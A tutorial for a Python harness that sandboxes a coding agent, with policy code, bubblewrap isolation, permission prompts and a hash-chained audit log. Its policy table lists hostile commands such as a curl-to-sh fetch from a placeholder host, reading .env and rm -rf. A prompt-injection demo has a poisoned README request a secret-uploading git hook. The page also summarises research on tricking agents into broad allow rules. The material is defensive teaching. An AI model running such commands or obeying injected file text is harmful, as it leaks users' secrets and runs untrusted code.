Python MIT License Open Source Project

Sandboxed Coding Agent in Python: Plan, Edit and Run Tests with an Open Model and Permission Prompts (Free Code)

Build a sandboxed coding agent in Python that plans, edits and runs tests with Ollama, asking permission before every edit and command. Free MIT code.

Project Specifications & Technical Summary

Difficulty Beginner
License MIT License
Advertisement

Coding agents can now fix bugs on their own, but letting a model run commands on your laptop is risky. In this tutorial we build a sandboxed coding agent in Python: an open-source harness that plans, edits files and runs tests inside a throw-away sandbox, and asks for your permission before every edit and every command.

It works with open models through Ollama, and it includes an offline mock model, so you can run the full demo and all 88 tests on any laptop without a GPU. It has a command-line tool, an optional Flask web UI, a policy engine, diff previews, a dry-run mode and a tamper-evident audit log.

This is a strong AI and security final-year project for BTech, MCA and MTech students. The complete code of the sandboxed coding agent is free on GitHub under the MIT License.

Why Sandboxed Coding Agents Are the Big Story of November 2026

Agent safety moved from slides to shipping code this month. Here is what happened, with dates:

  • 16 Oct 2026: researchers from NUS, NTU and Ant Group published “From Approval to Abuse” on arXiv. They showed that a poisoned repository can steer an agent into asking for a broad “always allow” rule. In their tests, agents on platforms including Claude Code and Codex CLI got the target rule in 58% of attempts.
  • 9 Nov 2026: Ollama 0.40.16 added Ripple Preview, a 65B model built for agentic coding, and fixed ollama launch claude so Claude Code always uses the local model you pick.
  • 16 Nov 2026: Simon Willison released external sandboxes for coding agents. The agent stays on your Mac, but every command runs in a Linux sandbox that only sees the folders and hosts you allow, with no network by default. The same day, Ollama and Together AI wrote about making open models work for long-horizon agentic workloads.
  • 17 Nov 2026: Microsoft warned about device code phishing aimed at AI coding agents, another reminder that agents work with real credentials.
  • 18 Nov 2026: OpenAI published Inside the Codex sandbox. It explains its permission profiles: writes allowed inside the workspace, .git and .codex read-only, and network access off by default. The same day, Endor Labs added sandbox posture reporting, because a sandbox that a developer can switch off often is switched off.

At the same time, open-weight coding models keep getting stronger. Early November saw releases such as Ornith-1.5-122B (MIT licence, 7 Nov 2026) and Tess-4.5-27B (Apache-2.0, 8 Nov 2026), built for agents that edit files and run shell commands on local hardware. More people will run agents on their own machines, so a good sandboxed coding agent harness matters more than ever.

The lesson from all of these: the model decides what it wants to do, but the harness decides what it is allowed to do.

What Is a Sandboxed Coding Agent?

A sandboxed coding agent is a program that sits between a language model and your computer. The model only proposes actions, such as reading a file, editing a function or running pytest. The harness checks each proposal against a policy, shows it to a human, and runs approved actions in an isolated copy of the project. The model never touches your real files or your shell directly.

In our project the model gets six tools. Each turn it replies with one JSON object:

ToolWhat it doesDefault decision
list_files, read_fileLook at files in the sandbox copySAFE (runs automatically, secrets denied)
edit_file, write_fileExact search/replace or full file writeASK (diff preview, you approve)
runRun a command without a shellASK, SAFE for read-only commands, DENY for dangerous ones
finishEnd with a summaryEnds the run

Features of the Sandboxed Coding Agent Project

  • Plan, act, observe loop: the model writes a short numbered plan, then works one action at a time and sees the result of each step.
  • Sandbox working copy: the project is copied to a temporary folder. .git, virtualenvs, node_modules, symlinks and secret files such as .env are never copied.
  • Permission prompts before every edit and every code-running command, with Approve, Deny and “always allow this exact command” options.
  • Policy engine: program allowlist, deny list (network tools, installs, rm, sudo, git push), no shell operators, protected paths (.git/, CI workflows, AGENTS.md, .claude/, keys).
  • Three isolation levels: restricted subprocess, Linux bubblewrap with no network, or Docker with --network none.
  • Diff preview, dry-run and patch export; your real project changes only with --apply.
  • Open-model backend for Ollama or any OpenAI-compatible server, plus an offline mock model for demos and tests.
  • Loop guard and step limit for small models that repeat themselves.
  • Hash-chained JSONL audit log and a verify-audit command.
  • CLI and Flask web UI, 88 pytest tests, MIT licence.

Tech Stack and Requirements

PartTechnology
LanguagePython 3.9+ (tested on 3.13)
Agent, policy, sandbox, CLIPython standard library only
Model backendOllama OpenAI-compatible API (/v1/chat/completions), or the offline mock model
Isolation (optional)bubblewrap on Linux, or Docker
Web UI (optional)Flask 3
Testspytest
HardwareAny laptop for the mock model; 8 GB RAM for a 3B model on CPU; a GPU helps for 7B+

Project File Structure

sandboxed-coding-agent/
├── coding_agent/
│   ├── agent.py      # plan/act/observe state machine, proposals, approvals, report
│   ├── policy.py     # allowlist, deny list, protected paths, SAFE/ASK/DENY
│   ├── sandbox.py    # temp working copy, path confinement, restricted runner
│   ├── models.py     # Ollama backend, offline mock model, JSON action parser
│   ├── audit.py      # hash-chained JSONL audit log
│   └── cli.py        # run / demo / check / verify-audit
├── app.py            # optional Flask web UI (127.0.0.1 only)
├── templates/  static/
├── examples/
│   ├── buggy-calculator/   # two failing tests for the agent to fix
│   └── injected-repo/      # harmless prompt-injection fixture
├── tests/            # 88 pytest tests
└── docs/screenshots/

How the Sandboxed Coding Agent Loop Works

  1. The harness copies your project into a sandbox and sends the model the task, the file list and the tool rules.
  2. The model replies with a plan and its first action as JSON.
  3. The policy classifies the action as SAFE, ASK or DENY. For edits, the harness builds a unified diff first.
  4. SAFE actions run. ASK actions wait for your answer. DENY actions are refused, and the model is told to pick a safe alternative.
  5. The result (file content, test output, or “DENIED”) goes back to the model as an observation, and every step is written to the audit log.
  6. The loop ends when the model calls finish, hits the step limit, or keeps repeating itself. You get a summary, the final diff and the last test result.

The agent is a small state machine with two methods, propose() and resolve(). That is why the same code can be driven by blocking terminal prompts and by buttons in a web page:

def run(self, approver) -> "Agent":
    """Blocking loop for the CLI. ``approver(proposal) -> 'yes'|'no'|'always'``."""
    while True:
        p = self.propose()
        if p is None:
            break
        answer = approver(p) if p.needs_approval else NO
        self.resolve(p, answer)
    return self

Step 1: The Permission Policy (SAFE, ASK, DENY)

The policy is the most important file. Commands are split with shlex and run without a shell, so pipes, redirects, ;, && and $(...) are refused outright. Only programs on an allowlist may run, and some arguments are blocked even for allowed programs:

def check_command(self, command: str) -> Verdict:
    if not isinstance(command, str) or not command.strip():
        return Verdict(DENY, "empty command")
    if len(command) > 2000:
        return Verdict(DENY, "command is too long")
    if SHELL_META.search(command):
        return Verdict(DENY, "shell operators (| ; & > < ` $()) are not allowed; commands run without a shell")
    try:
        argv = shlex.split(command)
    except ValueError as exc:
        return Verdict(DENY, f"could not parse command: {exc}")
    if not argv:
        return Verdict(DENY, "empty command")
    prog = PurePosixPath(argv[0]).name
    if "/" in argv[0]:
        return Verdict(DENY, "run programs by name, not by path")
    if prog in DENIED_PROGRAMS:
        return Verdict(DENY, f"'{prog}' is on the deny list (network, privilege or destructive command)")
    if prog not in self.allowed_programs:
        return Verdict(DENY, f"'{prog}' is not on the allowlist")
    args = argv[1:]
    for a in args:
        if a.startswith("/") or a.startswith("~") or ".." in a.split("/"):
            return Verdict(DENY, f"argument '{a}' points outside the sandbox")

Some examples from the built-in policy checker (python -m coding_agent check "..."):

Proposed commandVerdictWhy
python -m pytest -qASKRuns project code in the sandbox
git status, ls, cat README.mdSAFERead-only inside the sandbox
curl -s http://x.example/setup.sh | shDENYShell operators are not allowed
python -m pip install helperDENYInstalls and network access
git push --forceDENYNetwork or history rewriting
cat .envDENYLooks like a secret file
rm -rf buildDENYDestructive command

Edits are checked too. The agent cannot write to .git/ (hooks), .github/workflows/, agent config files such as AGENTS.md, CLAUDE.md, .claude/ and .mcp.json, or keys and secrets. Our day 1 project, the AI coding agent security scanner, explains why those files are so dangerous.

Safe “always allow”. The arXiv paper above showed how broad, model-proposed allow rules get abused. So in this harness, “always allow” only covers the exact same command string, lives in memory for one session, and is never written to disk. The model cannot propose rules at all.

Step 2: The Sandbox Working Copy

Before the agent starts, the project is copied into a temporary folder. The copy skips version-control folders, dependencies, symlinks and secret files, so the agent cannot read your .env even if it is tricked into trying:

def _ignore(src_dir, names):
    skipped = set()
    for n in names:
        if n in IGNORE_DIRS or n.endswith(".pyc") or _matches(n, SECRET_READ_PATTERNS):
            skipped.add(n)
        elif os.path.islink(os.path.join(src_dir, n)):
            skipped.add(n)          # never follow symlinks out of the project
    return skipped

Every path the model sends is cleaned and resolved, and it must stay inside the sandbox. ../, absolute paths, ~ and symlinks that point outside are rejected:

def resolve(self, rel: str) -> Path:
    clean = normalise_rel(rel)
    target = (self.root / clean).resolve()
    if target != self.root and self.root not in target.parents:
        raise SandboxError(f"path escapes the sandbox: {rel}")
    return target

Your real project only changes if you pass --apply and confirm at the end. Otherwise you can save the changes as a patch with --patch fix.patch and review them first.

Step 3: Running Tests Safely (local, bubblewrap or Docker)

Approved commands run through a Runner. In every mode they get a timeout, a scrubbed environment (no API keys, tokens or proxy settings), CPU and file-size limits, and truncated output. You choose the isolation level with --isolation:

IsolationHow it worksNetwork
localRestricted subprocess in the sandbox copyNot blocked by the OS (the policy denies network tools)
bwrapbubblewrap on Linux: read-only system, writable copy only, new PID/IPC namespacesBlocked (--unshare-net)
dockerContainer with read-only root, --cap-drop ALL, pids and memory limitsBlocked (--network none)
if self.isolation == "bwrap":
    return ["bwrap", "--ro-bind", "/", "/", "--dev", "/dev", "--proc", "/proc",
            "--tmpfs", "/tmp", "--bind", root, root, "--chdir", root,
            "--unshare-net", "--unshare-pid", "--unshare-ipc", "--die-with-parent",
            "--new-session", "--clearenv",
            "--setenv", "PATH", os.environ.get("PATH", "/usr/bin:/bin"),
            "--setenv", "HOME", root, "--setenv", "PYTHONDONTWRITEBYTECODE", "1",
            "--"] + ([sys.executable] + argv[1:] if argv[0] in ("python", "python3") else argv)

The test-suite checks this: a script that tries to open a socket inside bwrap gets “Network is unreachable”, and API keys set in the parent process are not visible to commands.

Step 4: Permission Prompts, Diff Preview and Dry-Run

For every edit the harness applies the change to a copy of the text in memory and shows you a unified diff before anything is written. In the terminal you answer [y]es/[n]o/[a]lways/[q]uit. In the web UI you click a button:

Sandboxed coding agent Flask UI asking for approval with a diff preview before editing calculator.py
The Flask UI pauses at every edit: you see the model's reason, the policy verdict and the exact diff before you click Approve.

Run with --dry-run to see every proposal and diff without executing anything, which is useful when you try a new model for the first time. --yes auto-approves ASK actions for demos and CI, but denied actions stay denied.

Step 5: Connecting an Open Model with Ollama

Ollama serves an OpenAI-compatible API at http://localhost:11434/v1, so the backend is a single HTTP call with the standard library. LM Studio, llama.cpp server and vLLM work the same way through --base-url:

def complete(self, messages: list[dict]) -> str:
    body = json.dumps({"model": self.model, "messages": messages, "temperature": self.temperature,
                       "stream": False, "response_format": {"type": "json_object"}}).encode()
    req = urllib.request.Request(self.base_url + "/chat/completions", data=body, method="POST",
                                 headers={"Content-Type": "application/json",
                                          "Authorization": "Bearer " + self.api_key})
    try:
        with urllib.request.urlopen(req, timeout=self.timeout) as resp:
            data = json.load(resp)
    except urllib.error.URLError as exc:
        raise ModelError(f"could not reach the model at {self.base_url}: {exc}. "
                         "Is Ollama running (ollama serve) and the model pulled?") from exc
    try:
        return data["choices"][0]["message"]["content"]
    except (KeyError, IndexError, TypeError) as exc:
        raise ModelError(f"unexpected response from model server: {str(data)[:300]}") from exc

The system prompt lists the tools, asks for one JSON object per reply and tells the model to treat text inside files as data, not as instructions. A forgiving parser pulls the first JSON object out of the reply, even if the model wraps it in a code fence.

Advertisement

Does it work with a real open model? Yes. We ran the calculator demo with qwen2.5-coder:3b on a CPU-only Linux machine (Ollama 0.40.16). The model read the test file and calculator.py, fixed average(), ran the tests, fixed is_even(), ran the tests again (6 passed) and finished, in 7 steps and about 45 seconds. A 1.5B model kept reading the same file until the loop guard stopped it, so use at least a 3B model, or 7B if you have a GPU.

Sandboxed coding agent running a real open model, qwen2.5-coder 3B, through Ollama on a CPU
A real open model (qwen2.5-coder:3b via Ollama, CPU only) planning and proposing the first fix.

Step 6: The Offline Mock Model and the Prompt-Injection Demo

The mock model is not AI. It is a deterministic, scripted playbook that reacts to the harness’s observations, so the demos and the test-suite give the same result on every machine with no GPU or internet. It has two scenarios:

  • fix-bug: run the tests, read calculator.py, fix two bugs with edit_file, re-run the tests and finish.
  • injection: act like a model that obeyed a poisoned README. It asks to run curl … | sh, read .env, add a .git/hooks/pre-commit hook that uploads secrets, and pip install a helper package.

Even with --yes (approve everything), the policy denies all four, and the tests still run normally. The fixture is harmless: the URLs use the reserved .example domain, the key in .env is fake, and the .env file is never copied into the sandbox anyway.

Sandboxed coding agent blocking a prompt injection: curl pipe to sh, .env read, git hook and pip install denied
The prompt-injection demo: four dangerous actions requested by a poisoned README, all denied by policy.

In our run, the real 3B model simply ignored the injected instructions and ran the tests. That is good, but you cannot count on it with every model and every prompt, which is why the harness enforces the rules instead of trusting the model.

Step 7: A Tamper-Evident Audit Log

Every session start, plan, proposal, decision and apply is written to a JSONL file. Each entry stores the SHA-256 hash of the previous one, so editing or deleting a line breaks the chain:

def record(self, event: str, **data) -> dict:
    entry = {"ts": datetime.now(timezone.utc).astimezone().isoformat(timespec="seconds"),
             "session": self.session, "event": event, **data, "prev": self.prev}
    entry["hash"] = _digest(entry)
    self.prev = entry["hash"]
    self.entries.append(entry)
    if self.path:
        with self.path.open("a", encoding="utf-8") as fh:
            fh.write(json.dumps(entry, ensure_ascii=False) + "\n")
    return entry
python -m coding_agent verify-audit agent-audit.jsonl
OK: 19 entries, hash chain intact

How to Run the Sandboxed Coding Agent

git clone https://github.com/GetProjectsIdea/Sandboxed-Coding-Agent-Python.git
cd Sandboxed-Coding-Agent-Python
python -m venv .venv && source .venv/bin/activate   # Windows: .venv\Scripts\activate
pip install -r requirements-dev.txt

python -m coding_agent demo                  # offline mock model fixes two bugs
python -m coding_agent demo injection        # watch a prompt injection get blocked
python -m coding_agent demo --interactive    # answer the prompts yourself
python app.py                                # web UI on http://127.0.0.1:5000
python -m pytest -q                          # 88 passed

With Ollama installed, pull a coding model and point the agent at a project:

ollama pull qwen2.5-coder:7b
python -m coding_agent run examples/buggy-calculator \
    --task "Make the failing tests pass with the smallest possible change." \
    --model ollama --ollama-model qwen2.5-coder:7b --isolation bwrap

Output of the Sandboxed Coding Agent

The CLI shows the plan, the policy verdict for each step and a coloured diff before every edit:

Sandboxed coding agent CLI showing the plan, SAFE and ASK steps and a diff before each edit
The CLI demo: plan, read-only steps that run automatically, and ASK steps with a diff preview.

When the run finishes, you get the summary, the final diff, a patch download and the JSON audit log. Your real project is untouched until you choose to apply the changes:

Sandboxed coding agent finished run: tests passed and the final diff of calculator.py
The finished run in the web UI: tests passed, final diff, patch download and audit log.

Testing the Project

The repository has 88 pytest tests that run in about four seconds without a GPU or internet. They cover dangerous commands (28 cases), protected paths, path escapes and symlinks, the scrubbed environment, timeouts, the bubblewrap network block, the Docker flags, the Ollama backend (against a fake local server), JSON parsing, the full mock-model run, user denial, dry-run, exact-match grants, the loop guard, audit-log tampering, the CLI and the Flask approve-until-done flow.

Limitations and Responsible Use

This sandboxed coding agent is a teaching project, not an audited security product. In local mode the network is not blocked at the OS level, so use bwrap or docker for untrusted code. Approving pytest runs the project’s own code, including conftest.py, so read the diff and the files first. An allowlist only protects you if you keep it short.

Use it on your own projects or code you are allowed to change. The injection fixture is for learning how agents fail. It contains no real exploit.

Future Scope and Viva Tips

  • Add a network allowlist proxy so the agent can download packages from approved hosts only.
  • Load per-project policy files, and require a human review whenever they change.
  • Benchmark open models (Qwen, Gemma, Llama) on a set of small bug-fix tasks: success rate, steps and denied actions.
  • Turn the prompt-injection fixture into a research test-suite with many attack styles.
  • Build a VS Code extension that shows the approval prompts inside the editor.

This is day 3 of our daily series. Day 1 was an AI coding agent security scanner in Python that checks repos before an agent opens them, and day 2 was a third-party script monitor in Python for website supply-chain attacks. For research ideas, see our AI PhD thesis topics 2026, or pick more projects from top 20 AI project ideas and 50 major project ideas for BTech and MCA. Stuck on an error? Read 13 reasons why your code is not working.

FAQs: Sandboxed Coding Agent

Is this sandboxed coding agent a good final-year project?

Yes. It combines LLM agents, security policy design, sandboxing, subprocess control, hashing, a Flask web app and automated testing, and it is based on topics that were in the news in November 2026.

Do I need a GPU?

No. The offline mock model runs the demos and all tests on any laptop. A 3B model such as qwen2.5-coder:3b also runs on a CPU, just slowly. A GPU helps for 7B and larger models.

Can the agent delete my files or push to GitHub?

No. It works on a temporary copy, rm and git push are on the deny list, and nothing is copied back to your project unless you use –apply and confirm.

Which models work?

Any model served through an OpenAI-compatible API: Ollama, LM Studio, llama.cpp server or vLLM. Coding models such as Qwen2.5-Coder work best.

Why not let the model write its own allow rules?

Because research published in October 2026 showed that poisoned repositories can trick agents into asking for broad rules. Here, grants cover one exact command for one session only.

Is the source code free?

Yes. The full code is on GitHub under the MIT License.

References


Download the Source Code

The complete sandboxed coding agent project, with the CLI, Flask web UI, mock model, Ollama backend, demos, README, screenshots and 88 tests, is free on GitHub. Clone it, star it and open an issue if you get stuck.

Conclusion

Coding agents are only as safe as the harness around them. In this tutorial you built a sandboxed coding agent in Python that plans, edits and runs tests in a throw-away copy, denies dangerous actions, shows you a diff before every change and records everything in a tamper-evident log, all with an open model you can run yourself.

Let the model propose and let the harness decide. Built something on top of it? Tell us in the comments below. Happy (and safe) coding!

Advertisement

Team Get Projects

Contributor & Author
View All Projects →

Contributor at GetProjects.org, sharing open-source codebases, tutorials, and practical software architectures.

0 Discussion Comments

Markdown Supported

Join the Discussion & Code Review

Share architectural feedback, benchmark results, or troubleshooting notes.